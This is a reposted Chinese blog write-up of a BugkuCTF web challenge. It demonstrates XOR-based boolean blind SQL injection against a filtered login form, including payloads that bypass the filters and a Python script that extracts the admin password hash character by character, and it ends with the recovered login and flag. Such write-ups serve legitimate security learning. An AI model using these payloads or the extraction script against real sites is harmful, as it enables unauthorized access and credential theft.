我是靠谱客的博主 欢喜红牛,最近开发中收集的这篇文章主要介绍SQL 登录注入脚本_[CTF]BugkuCTF - Web - sql注入2,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

48a5b9ca4a30b3ceed133e8981eae8e8.png
http://123.206.87.240:8007/web2/
全都tm过滤了绝望吗?
提示 !,!=,=,+,-,^,%

77f83c97c0317fc58a98f200b2a70319.png

尝试进行SQL 注入,发现有过滤。

3859704ba9cdc3dc060068cf97979609.png

判断过滤关键字符串。

0dffdffa78a41bac8a8478f6f641094b.png

还是有很多关键字没有过滤的

SQL 注入测试

uname=admin

0f951eaadec52d0275df40765f7d7d7b.png

说明用户名正确。

uname=admin'^(length('ajest')!=5)^'

c707d02fddf0d73b725f37e0588a3c40.png

此处可以考虑使用异或注入。

uname=admin'^(uname!='admin')^'

2b3c1d0157df9712a7f7a410694277d2.png

判断passwd 字段内容长度

uname=admin'^(length(passwd)!=32)^'

2ed6f1baafde8c422afdc5540572eec9.png

因此能够确定,passwd 字段长度为32,此处可以考虑使用布尔盲注。

考虑到,该环境中过滤掉了关键字

for
空格

因此构造参数

uname=admin'^(ascii(substr((passwd)from(1)))!=48)^'

7712a1bc7f99410218e2f3998955a33d.png

所以passwd 首字母ascii 值为48

此处可以编写python 脚本

import requests
url = "http://123.206.87.240:8007/web2/login.php"
passwd = ""
for i in range(1,33):
for j in range(32,128):
data = {"uname":"admin'^(ascii(substr((passwd)from("+str(i)+")))!="+str(j)+")^'",
"passwd":'admin'}
print(data)
res = requests.post(url=url,data=data)
if "password error!!@_@" in res.text:
passwd = passwd + chr(j)
break
print(passwd)
# 0192023a7bbd73250516f069df18b500
192023a7bbd73250516f069df18b500
admin123

使用帐密登录网站

admin:admin123

f9aca1efbe25d960435cef0d74ef6ec8.png
ls

8c7bc5ea76da394eb58d48f55d896154.png
flag{sql_iNJEct_comMon3600!} 

最后

以上就是欢喜红牛为你收集整理的SQL 登录注入脚本_[CTF]BugkuCTF - Web - sql注入2的全部内容,希望文章能够帮你解决SQL 登录注入脚本_[CTF]BugkuCTF - Web - sql注入2所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(72)

评论列表共有 0 条评论

立即
投稿
返回
顶部